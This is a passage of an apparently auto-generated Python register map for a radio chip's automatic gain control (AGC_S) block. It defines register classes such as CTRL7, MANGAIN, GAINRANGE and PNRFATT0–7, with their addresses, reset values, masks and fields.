0x00003000)\n\n        self.DUALRFPKDDEC = RM_Field_AGC_S_CTRL6_DUALRFPKDDEC(self)\n        self.zz_fdict['DUALRFPKDDEC'] = self.DUALRFPKDDEC\n        self.ENDUALRFPKD = RM_Field_AGC_S_CTRL6_ENDUALRFPKD(self)\n        self.zz_fdict['ENDUALRFPKD'] = self.ENDUALRFPKD\n        self.GAINDETTHD = RM_Field_AGC_S_CTRL6_GAINDETTHD(self)\n        self.zz_fdict['GAINDETTHD'] = self.GAINDETTHD\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_CTRL7(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_CTRL7, self).__init__(rmio, label,\n            0xa800c000, 0x03C,\n            'CTRL7', 'AGC_S.CTRL7', 'read-write',\n            u\"\",\n            0x00000000, 0x01FFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.SUBDEN = RM_Field_AGC_S_CTRL7_SUBDEN(self)\n        self.zz_fdict['SUBDEN'] = self.SUBDEN\n        self.SUBINT = RM_Field_AGC_S_CTRL7_SUBINT(self)\n        self.zz_fdict['SUBINT'] = self.SUBINT\n        self.SUBNUM = RM_Field_AGC_S_CTRL7_SUBNUM(self)\n        self.zz_fdict['SUBNUM'] = self.SUBNUM\n        self.SUBPERIOD = RM_Field_AGC_S_CTRL7_SUBPERIOD(self)\n        self.zz_fdict['SUBPERIOD'] = self.SUBPERIOD\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_RSSISTEPTHR(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_RSSISTEPTHR, self).__init__(rmio, label,\n            0xa800c000, 0x040,\n            'RSSISTEPTHR', 'AGC_S.RSSISTEPTHR', 'read-write',\n            u\"\",\n            0x00000000, 0x3FFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.POSSTEPTHR = RM_Field_AGC_S_RSSISTEPTHR_POSSTEPTHR(self)\n        self.zz_fdict['POSSTEPTHR'] = self.POSSTEPTHR\n        self.NEGSTEPTHR = RM_Field_AGC_S_RSSISTEPTHR_NEGSTEPTHR(self)\n        self.zz_fdict['NEGSTEPTHR'] = self.NEGSTEPTHR\n        self.STEPPER = RM_Field_AGC_S_RSSISTEPTHR_STEPPER(self)\n        self.zz_fdict['STEPPER'] = self.STEPPER\n        self.DEMODRESTARTPER = RM_Field_AGC_S_RSSISTEPTHR_DEMODRESTARTPER(self)\n        self.zz_fdict['DEMODRESTARTPER'] = self.DEMODRESTARTPER\n        self.DEMODRESTARTTHR = RM_Field_AGC_S_RSSISTEPTHR_DEMODRESTARTTHR(self)\n        self.zz_fdict['DEMODRESTARTTHR'] = self.DEMODRESTARTTHR\n        self.RSSIFAST = RM_Field_AGC_S_RSSISTEPTHR_RSSIFAST(self)\n        self.zz_fdict['RSSIFAST'] = self.RSSIFAST\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_MANGAIN(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_MANGAIN, self).__init__(rmio, label,\n            0xa800c000, 0x044,\n            'MANGAIN', 'AGC_S.MANGAIN', 'read-write',\n            u\"\",\n            0x00000000, 0x0001FFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.MANGAINEN = RM_Field_AGC_S_MANGAIN_MANGAINEN(self)\n        self.zz_fdict['MANGAINEN'] = self.MANGAINEN\n        self.MANGAINIFPGA = RM_Field_AGC_S_MANGAIN_MANGAINIFPGA(self)\n        self.zz_fdict['MANGAINIFPGA'] = self.MANGAINIFPGA\n        self.MANGAINLNA = RM_Field_AGC_S_MANGAIN_MANGAINLNA(self)\n        self.zz_fdict['MANGAINLNA'] = self.MANGAINLNA\n        self.MANGAINPN = RM_Field_AGC_S_MANGAIN_MANGAINPN(self)\n        self.zz_fdict['MANGAINPN'] = self.MANGAINPN\n        self.MANRFLATRST = RM_Field_AGC_S_MANGAIN_MANRFLATRST(self)\n        self.zz_fdict['MANRFLATRST'] = self.MANRFLATRST\n        self.MANIFLOLATRST = RM_Field_AGC_S_MANGAIN_MANIFLOLATRST(self)\n        self.zz_fdict['MANIFLOLATRST'] = self.MANIFLOLATRST\n        self.MANIFHILATRST = RM_Field_AGC_S_MANGAIN_MANIFHILATRST(self)\n        self.zz_fdict['MANIFHILATRST'] = self.MANIFHILATRST\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_IF(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_IF, self).__init__(rmio, label,\n            0xa800c000, 0x048,\n            'IF', 'AGC_S.IF', 'read-write',\n            u\"\",\n            0x00000000, 0x0003FF7D,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.RSSIVALID = RM_Field_AGC_S_IF_RSSIVALID(self)\n        self.zz_fdict['RSSIVALID'] = self.RSSIVALID\n        self.CCA = RM_Field_AGC_S_IF_CCA(self)\n        self.zz_fdict['CCA'] = self.CCA\n        self.RSSIPOSSTEP = RM_Field_AGC_S_IF_RSSIPOSSTEP(self)\n        self.zz_fdict['RSSIPOSSTEP'] = self.RSSIPOSSTEP\n        self.RSSINEGSTEP = RM_Field_AGC_S_IF_RSSINEGSTEP(self)\n        self.zz_fdict['RSSINEGSTEP'] = self.RSSINEGSTEP\n        self.RSSIDONE = RM_Field_AGC_S_IF_RSSIDONE(self)\n        self.zz_fdict['RSSIDONE'] = self.RSSIDONE\n        self.SHORTRSSIPOSSTEP = RM_Field_AGC_S_IF_SHORTRSSIPOSSTEP(self)\n        self.zz_fdict['SHORTRSSIPOSSTEP'] = self.SHORTRSSIPOSSTEP\n        self.RFPKDPRDDONE = RM_Field_AGC_S_IF_RFPKDPRDDONE(self)\n        self.zz_fdict['RFPKDPRDDONE'] = self.RFPKDPRDDONE\n        self.RFPKDCNTDONE = RM_Field_AGC_S_IF_RFPKDCNTDONE(self)\n        self.zz_fdict['RFPKDCNTDONE'] = self.RFPKDCNTDONE\n        self.RSSIHIGH = RM_Field_AGC_S_IF_RSSIHIGH(self)\n        self.zz_fdict['RSSIHIGH'] = self.RSSIHIGH\n        self.RSSILOW = RM_Field_AGC_S_IF_RSSILOW(self)\n        self.zz_fdict['RSSILOW'] = self.RSSILOW\n        self.CCANODET = RM_Field_AGC_S_IF_CCANODET(self)\n        self.zz_fdict['CCANODET'] = self.CCANODET\n        self.GAINBELOWGAINTHD = RM_Field_AGC_S_IF_GAINBELOWGAINTHD(self)\n        self.zz_fdict['GAINBELOWGAINTHD'] = self.GAINBELOWGAINTHD\n        self.GAINUPDATEFRZ = RM_Field_AGC_S_IF_GAINUPDATEFRZ(self)\n        self.zz_fdict['GAINUPDATEFRZ'] = self.GAINUPDATEFRZ\n        self.PNATTEN = RM_Field_AGC_S_IF_PNATTEN(self)\n        self.zz_fdict['PNATTEN'] = self.PNATTEN\n        self.COLLDETRSSIMAPRE = RM_Field_AGC_S_IF_COLLDETRSSIMAPRE(self)\n        self.zz_fdict['COLLDETRSSIMAPRE'] = self.COLLDETRSSIMAPRE\n        self.COLLDETRSSIMASYNC = RM_Field_AGC_S_IF_COLLDETRSSIMASYNC(self)\n        self.zz_fdict['COLLDETRSSIMASYNC'] = self.COLLDETRSSIMASYNC\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_IEN(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_IEN, self).__init__(rmio, label,\n            0xa800c000, 0x04C,\n            'IEN', 'AGC_S.IEN', 'read-write',\n            u\"\",\n            0x00000000, 0x0003FF7D,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.RSSIVALID = RM_Field_AGC_S_IEN_RSSIVALID(self)\n        self.zz_fdict['RSSIVALID'] = self.RSSIVALID\n        self.CCA = RM_Field_AGC_S_IEN_CCA(self)\n        self.zz_fdict['CCA'] = self.CCA\n        self.RSSIPOSSTEP = RM_Field_AGC_S_IEN_RSSIPOSSTEP(self)\n        self.zz_fdict['RSSIPOSSTEP'] = self.RSSIPOSSTEP\n        self.RSSINEGSTEP = RM_Field_AGC_S_IEN_RSSINEGSTEP(self)\n        self.zz_fdict['RSSINEGSTEP'] = self.RSSINEGSTEP\n        self.RSSIDONE = RM_Field_AGC_S_IEN_RSSIDONE(self)\n        self.zz_fdict['RSSIDONE'] = self.RSSIDONE\n        self.SHORTRSSIPOSSTEP = RM_Field_AGC_S_IEN_SHORTRSSIPOSSTEP(self)\n        self.zz_fdict['SHORTRSSIPOSSTEP'] = self.SHORTRSSIPOSSTEP\n        self.RFPKDPRDDONE = RM_Field_AGC_S_IEN_RFPKDPRDDONE(self)\n        self.zz_fdict['RFPKDPRDDONE'] = self.RFPKDPRDDONE\n        self.RFPKDCNTDONE = RM_Field_AGC_S_IEN_RFPKDCNTDONE(self)\n        self.zz_fdict['RFPKDCNTDONE'] = self.RFPKDCNTDONE\n        self.RSSIHIGH = RM_Field_AGC_S_IEN_RSSIHIGH(self)\n        self.zz_fdict['RSSIHIGH'] = self.RSSIHIGH\n        self.RSSILOW = RM_Field_AGC_S_IEN_RSSILOW(self)\n        self.zz_fdict['RSSILOW'] = self.RSSILOW\n        self.CCANODET = RM_Field_AGC_S_IEN_CCANODET(self)\n        self.zz_fdict['CCANODET'] = self.CCANODET\n        self.GAINBELOWGAINTHD = RM_Field_AGC_S_IEN_GAINBELOWGAINTHD(self)\n        self.zz_fdict['GAINBELOWGAINTHD'] = self.GAINBELOWGAINTHD\n        self.GAINUPDATEFRZ = RM_Field_AGC_S_IEN_GAINUPDATEFRZ(self)\n        self.zz_fdict['GAINUPDATEFRZ'] = self.GAINUPDATEFRZ\n        self.PNATTEN = RM_Field_AGC_S_IEN_PNATTEN(self)\n        self.zz_fdict['PNATTEN'] = self.PNATTEN\n        self.COLLDETRSSIMAPRE = RM_Field_AGC_S_IEN_COLLDETRSSIMAPRE(self)\n        self.zz_fdict['COLLDETRSSIMAPRE'] = self.COLLDETRSSIMAPRE\n        self.COLLDETRSSIMASYNC = RM_Field_AGC_S_IEN_COLLDETRSSIMASYNC(self)\n        self.zz_fdict['COLLDETRSSIMASYNC'] = self.COLLDETRSSIMASYNC\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_CMD(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_CMD, self).__init__(rmio, label,\n            0xa800c000, 0x050,\n            'CMD', 'AGC_S.CMD', 'write-only',\n            u\"\",\n            0x00000000, 0x00000001,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.RSSISTART = RM_Field_AGC_S_CMD_RSSISTART(self)\n        self.zz_fdict['RSSISTART'] = self.RSSISTART\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_GAINRANGE(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_GAINRANGE, self).__init__(rmio, label,\n            0xa800c000, 0x054,\n            'GAINRANGE', 'AGC_S.GAINRANGE', 'read-write',\n            u\"\",\n            0x00813187, 0x7FFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.LNAINDEXBORDER = RM_Field_AGC_S_GAINRANGE_LNAINDEXBORDER(self)\n        self.zz_fdict['LNAINDEXBORDER'] = self.LNAINDEXBORDER\n        self.PGAINDEXBORDER = RM_Field_AGC_S_GAINRANGE_PGAINDEXBORDER(self)\n        self.zz_fdict['PGAINDEXBORDER'] = self.PGAINDEXBORDER\n        self.GAININCSTEP = RM_Field_AGC_S_GAINRANGE_GAININCSTEP(self)\n        self.zz_fdict['GAININCSTEP'] = self.GAININCSTEP\n        self.PNGAINSTEP = RM_Field_AGC_S_GAINRANGE_PNGAINSTEP(self)\n        self.zz_fdict['PNGAINSTEP'] = self.PNGAINSTEP\n        self.LATCHEDHISTEP = RM_Field_AGC_S_GAINRANGE_LATCHEDHISTEP(self)\n        self.zz_fdict['LATCHEDHISTEP'] = self.LATCHEDHISTEP\n        self.HIPWRTHD = RM_Field_AGC_S_GAINRANGE_HIPWRTHD(self)\n        self.zz_fdict['HIPWRTHD'] = self.HIPWRTHD\n        self.PNINDEXBORDER = RM_Field_AGC_S_GAINRANGE_PNINDEXBORDER(self)\n        self.zz_fdict['PNINDEXBORDER'] = self.PNINDEXBORDER\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_AGCPERIOD0(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_AGCPERIOD0, self).__init__(rmio, label,\n            0xa800c000, 0x058,\n            'AGCPERIOD0', 'AGC_S.AGCPERIOD0', 'read-write',\n            u\"\",\n            0xD607020E, 0xFFFF03FF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.PERIODHI = RM_Field_AGC_S_AGCPERIOD0_PERIODHI(self)\n        self.zz_fdict['PERIODHI'] = self.PERIODHI\n        self.PERIODHISTL = RM_Field_AGC_S_AGCPERIOD0_PERIODHISTL(self)\n        self.zz_fdict['PERIODHISTL'] = self.PERIODHISTL\n        self.MAXHICNTTHD = RM_Field_AGC_S_AGCPERIOD0_MAXHICNTTHD(self)\n        self.zz_fdict['MAXHICNTTHD'] = self.MAXHICNTTHD\n        self.SETTLETIMEIF = RM_Field_AGC_S_AGCPERIOD0_SETTLETIMEIF(self)\n        self.zz_fdict['SETTLETIMEIF'] = self.SETTLETIMEIF\n        self.SETTLETIMERF = RM_Field_AGC_S_AGCPERIOD0_SETTLETIMERF(self)\n        self.zz_fdict['SETTLETIMERF'] = self.SETTLETIMERF\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_AGCPERIOD1(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_AGCPERIOD1, self).__init__(rmio, label,\n            0xa800c000, 0x05C,\n            'AGCPERIOD1', 'AGC_S.AGCPERIOD1', 'read-write',\n            u\"\",\n            0x00000037, 0xFFFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.PERIODLOW = RM_Field_AGC_S_AGCPERIOD1_PERIODLOW(self)\n        self.zz_fdict['PERIODLOW'] = self.PERIODLOW\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_HICNTREGION0(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_HICNTREGION0, self).__init__(rmio, label,\n            0xa800c000, 0x060,\n            'HICNTREGION0', 'AGC_S.HICNTREGION0', 'read-write',\n            u\"\",\n            0x06050403, 0xFFFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.HICNTREGION0 = RM_Field_AGC_S_HICNTREGION0_HICNTREGION0(self)\n        self.zz_fdict['HICNTREGION0'] = self.HICNTREGION0\n        self.HICNTREGION1 = RM_Field_AGC_S_HICNTREGION0_HICNTREGION1(self)\n        self.zz_fdict['HICNTREGION1'] = self.HICNTREGION1\n        self.HICNTREGION2 = RM_Field_AGC_S_HICNTREGION0_HICNTREGION2(self)\n        self.zz_fdict['HICNTREGION2'] = self.HICNTREGION2\n        self.HICNTREGION3 = RM_Field_AGC_S_HICNTREGION0_HICNTREGION3(self)\n        self.zz_fdict['HICNTREGION3'] = self.HICNTREGION3\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_HICNTREGION1(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_HICNTREGION1, self).__init__(rmio, label,\n            0xa800c000, 0x064,\n            'HICNTREGION1', 'AGC_S.HICNTREGION1', 'read-write',\n            u\"\",\n            0x00000008, 0x000000FF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.HICNTREGION4 = RM_Field_AGC_S_HICNTREGION1_HICNTREGION4(self)\n        self.zz_fdict['HICNTREGION4'] = self.HICNTREGION4\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_STEPDWN(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_STEPDWN, self).__init__(rmio, label,\n            0xa800c000, 0x068,\n            'STEPDWN', 'AGC_S.STEPDWN', 'read-write',\n            u\"\",\n            0x00036D10, 0x0003FFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.STEPDWN0 = RM_Field_AGC_S_STEPDWN_STEPDWN0(self)\n        self.zz_fdict['STEPDWN0'] = self.STEPDWN0\n        self.STEPDWN1 = RM_Field_AGC_S_STEPDWN_STEPDWN1(self)\n        self.zz_fdict['STEPDWN1'] = self.STEPDWN1\n        self.STEPDWN2 = RM_Field_AGC_S_STEPDWN_STEPDWN2(self)\n        self.zz_fdict['STEPDWN2'] = self.STEPDWN2\n        self.STEPDWN3 = RM_Field_AGC_S_STEPDWN_STEPDWN3(self)\n        self.zz_fdict['STEPDWN3'] = self.STEPDWN3\n        self.STEPDWN4 = RM_Field_AGC_S_STEPDWN_STEPDWN4(self)\n        self.zz_fdict['STEPDWN4'] = self.STEPDWN4\n        self.STEPDWN5 = RM_Field_AGC_S_STEPDWN_STEPDWN5(self)\n        self.zz_fdict['STEPDWN5'] = self.STEPDWN5\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_GAINSTEPLIM0(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_GAINSTEPLIM0, self).__init__(rmio, label,\n            0xa800c000, 0x06C,\n            'GAINSTEPLIM0', 'AGC_S.GAINSTEPLIM0', 'read-write',\n            u\"\",\n            0x00003144, 0x01FFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.CFLOOPSTEPMAX = RM_Field_AGC_S_GAINSTEPLIM0_CFLOOPSTEPMAX(self)\n        self.zz_fdict['CFLOOPSTEPMAX'] = self.CFLOOPSTEPMAX\n        self.CFLOOPDEL = RM_Field_AGC_S_GAINSTEPLIM0_CFLOOPDEL(self)\n        self.zz_fdict['CFLOOPDEL'] = self.CFLOOPDEL\n        self.HYST = RM_Field_AGC_S_GAINSTEPLIM0_HYST(self)\n        self.zz_fdict['HYST'] = self.HYST\n        self.MAXPWRVAR = RM_Field_AGC_S_GAINSTEPLIM0_MAXPWRVAR(self)\n        self.zz_fdict['MAXPWRVAR'] = self.MAXPWRVAR\n        self.TRANRSTAGC = RM_Field_AGC_S_GAINSTEPLIM0_TRANRSTAGC(self)\n        self.zz_fdict['TRANRSTAGC'] = self.TRANRSTAGC\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_GAINSTEPLIM1(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_GAINSTEPLIM1, self).__init__(rmio, label,\n            0xa800c000, 0x070,\n            'GAINSTEPLIM1', 'AGC_S.GAINSTEPLIM1', 'read-write',\n            u\"\",\n            0x0000F1BA, 0x0003FFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.LNAINDEXMAX = RM_Field_AGC_S_GAINSTEPLIM1_LNAINDEXMAX(self)\n        self.zz_fdict['LNAINDEXMAX'] = self.LNAINDEXMAX\n        self.PGAINDEXMAX = RM_Field_AGC_S_GAINSTEPLIM1_PGAINDEXMAX(self)\n        self.zz_fdict['PGAINDEXMAX'] = self.PGAINDEXMAX\n        self.PNINDEXMAX = RM_Field_AGC_S_GAINSTEPLIM1_PNINDEXMAX(self)\n        self.zz_fdict['PNINDEXMAX'] = self.PNINDEXMAX\n        self.PNINDEXADC0 = RM_Field_AGC_S_GAINSTEPLIM1_PNINDEXADC0(self)\n        self.zz_fdict['PNINDEXADC0'] = self.PNINDEXADC0\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_PNRFATT0(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_PNRFATT0, self).__init__(rmio, label,\n            0xa800c000, 0x074,\n            'PNRFATT0', 'AGC_S.PNRFATT0', 'read-write',\n            u\"\",\n            0x00200400, 0x3FFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.LNAMIXRFATT1 = RM_Field_AGC_S_PNRFATT0_LNAMIXRFATT1(self)\n        self.zz_fdict['LNAMIXRFATT1'] = self.LNAMIXRFATT1\n        self.LNAMIXRFATT2 = RM_Field_AGC_S_PNRFATT0_LNAMIXRFATT2(self)\n        self.zz_fdict['LNAMIXRFATT2'] = self.LNAMIXRFATT2\n        self.LNAMIXRFATT3 = RM_Field_AGC_S_PNRFATT0_LNAMIXRFATT3(self)\n        self.zz_fdict['LNAMIXRFATT3'] = self.LNAMIXRFATT3\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_PNRFATT1(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_PNRFATT1, self).__init__(rmio, label,\n            0xa800c000, 0x078,\n            'PNRFATT1', 'AGC_S.PNRFATT1', 'read-write',\n            u\"\",\n            0x00801804, 0x3FFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.LNAMIXRFATT4 = RM_Field_AGC_S_PNRFATT1_LNAMIXRFATT4(self)\n        self.zz_fdict['LNAMIXRFATT4'] = self.LNAMIXRFATT4\n        self.LNAMIXRFATT5 = RM_Field_AGC_S_PNRFATT1_LNAMIXRFATT5(self)\n        self.zz_fdict['LNAMIXRFATT5'] = self.LNAMIXRFATT5\n        self.LNAMIXRFATT6 = RM_Field_AGC_S_PNRFATT1_LNAMIXRFATT6(self)\n        self.zz_fdict['LNAMIXRFATT6'] = self.LNAMIXRFATT6\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_PNRFATT2(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_PNRFATT2, self).__init__(rmio, label,\n            0xa800c000, 0x07C,\n            'PNRFATT2', 'AGC_S.PNRFATT2', 'read-write',\n            u\"\",\n            0x01203C0B, 0x3FFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.LNAMIXRFATT7 = RM_Field_AGC_S_PNRFATT2_LNAMIXRFATT7(self)\n        self.zz_fdict['LNAMIXRFATT7'] = self.LNAMIXRFATT7\n        self.LNAMIXRFATT8 = RM_Field_AGC_S_PNRFATT2_LNAMIXRFATT8(self)\n        self.zz_fdict['LNAMIXRFATT8'] = self.LNAMIXRFATT8\n        self.LNAMIXRFATT9 = RM_Field_AGC_S_PNRFATT2_LNAMIXRFATT9(self)\n        self.zz_fdict['LNAMIXRFATT9'] = self.LNAMIXRFATT9\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_PNRFATT3(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_PNRFATT3, self).__init__(rmio, label,\n            0xa800c000, 0x080,\n            'PNRFATT3', 'AGC_S.PNRFATT3', 'read-write',\n            u\"\",\n            0x02107C18, 0x3FFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.LNAMIXRFATT10 = RM_Field_AGC_S_PNRFATT3_LNAMIXRFATT10(self)\n        self.zz_fdict['LNAMIXRFATT10'] = self.LNAMIXRFATT10\n        self.LNAMIXRFATT11 = RM_Field_AGC_S_PNRFATT3_LNAMIXRFATT11(self)\n        self.zz_fdict['LNAMIXRFATT11'] = self.LNAMIXRFATT11\n        self.LNAMIXRFATT12 = RM_Field_AGC_S_PNRFATT3_LNAMIXRFATT12(self)\n        self.zz_fdict['LNAMIXRFATT12'] = self.LNAMIXRFATT12\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_PNRFATT4(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_PNRFATT4, self).__init__(rmio, label,\n            0xa800c000, 0x084,\n            'PNRFATT4', 'AGC_S.PNRFATT4', 'read-write',\n            u\"\",\n            0x06E0FC2F, 0x3FFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.LNAMIXRFATT13 = RM_Field_AGC_S_PNRFATT4_LNAMIXRFATT13(self)\n        self.zz_fdict['LNAMIXRFATT13'] = self.LNAMIXRFATT13\n        self.LNAMIXRFATT14 = RM_Field_AGC_S_PNRFATT4_LNAMIXRFATT14(self)\n        self.zz_fdict['LNAMIXRFATT14'] = self.LNAMIXRFATT14\n        self.LNAMIXRFATT15 = RM_Field_AGC_S_PNRFATT4_LNAMIXRFATT15(self)\n        self.zz_fdict['LNAMIXRFATT15'] = self.LNAMIXRFATT15\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_PNRFATT5(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_PNRFATT5, self).__init__(rmio, label,\n            0xa800c000, 0x088,\n            'PNRFATT5', 'AGC_S.PNRFATT5', 'read-write',\n            u\"\",\n            0x0180480F, 0x3FFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.LNAMIXRFATT16 = RM_Field_AGC_S_PNRFATT5_LNAMIXRFATT16(self)\n        self.zz_fdict['LNAMIXRFATT16'] = self.LNAMIXRFATT16\n        self.LNAMIXRFATT17 = RM_Field_AGC_S_PNRFATT5_LNAMIXRFATT17(self)\n        self.zz_fdict['LNAMIXRFATT17'] = self.LNAMIXRFATT17\n        self.LNAMIXRFATT18 = RM_Field_AGC_S_PNRFATT5_LNAMIXRFATT18(self)\n        self.zz_fdict['LNAMIXRFATT18'] = self.LNAMIXRFATT18\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_PNRFATT6(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_PNRFATT6, self).__init__(rmio, label,\n            0xa800c000, 0x08C,\n            'PNRFATT6', 'AGC_S.PNRFATT6', 'read-write',\n            u\"\",\n            0x02F0841F, 0x3FFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.LNAMIXRFATT19 = RM_Field_AGC_S_PNRFATT6_LNAMIXRFATT19(self)\n        self.zz_fdict['LNAMIXRFATT19'] = self.LNAMIXRFATT19\n        self.LNAMIXRFATT20 = RM_Field_AGC_S_PNRFATT6_LNAMIXRFATT20(self)\n        self.zz_fdict['LNAMIXRFATT20'] = self.LNAMIXRFATT20\n        self.LNAMIXRFATT21 = RM_Field_AGC_S_PNRFATT6_LNAMIXRFATT21(self)\n        self.zz_fdict['LNAMIXRFATT21'] = self.LNAMIXRFATT21\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_PNRFATT7(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_PNRFATT7, self).__init__(rmio, label,\n            0xa800c000, 0x090,\n            'PNRFATT7', 'AGC_S.PNRFATT7', 'read-write',\n            u\"\",\n            0x07F1B83F, 0x3FFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.LNAMIXRFATT22 = RM_Field_AGC_S_PNRFATT7_LNAMIXRFATT22(self)\n        self.zz_fdict['LNAMIXRFATT22'] = self.LNAMIXRFATT22\n        self.LNAMIXRFATT23 = RM_Field_AGC_S_PNRFATT7_LNAMIXRFATT23(self)\n        self.zz_fdict['LNAMIXRFATT23'] = self.LNAMIXRFATT23\n        self.LNAMIXRFATT24 = RM_Field_AGC_S_PNRFATT7_LNAMIXRFATT24(self)\n        self.zz_fdict['LNAMIXRFATT24'] = self.LNAMIXRFATT24\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_PNRFATTALT(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_PNRFATTALT, self).__init__(rmio, label,\n            0xa800c000, 0x0A4,\n            'PNRFATTALT', 'AGC_S.PNRFATTALT', 'read-write',\n            u\"\",\n            0x0000007F, 0x000003FF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.LNAMIXRFATTALT = RM_Field_AGC_S_PNRFATTALT_LNAMIXRFATTALT(self)\n        self.zz_fdict['LNAMIXRFATTALT'] = self.LNAMIXRFATTALT\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_LNAMIXCODE0(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_LNAMIXCODE0, self).__init__(rmio, label,\n            0xa800c000, 0x0A8,\n            'LNAMIXCODE0', 'AGC_S.LNAMIXCODE0', 'read-write',\n            u\"\",\n            0x15724BBD, 0x3FFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.LNAMIXSLICE1 = RM_Field_AGC_S_LNAMIXCODE0_LNAMIXSLICE1(self)\n        self.zz_fdict['LNAMIXSLICE1'] = self.LNAMIXSLICE1\n        self.LNAMIXSLICE2 = 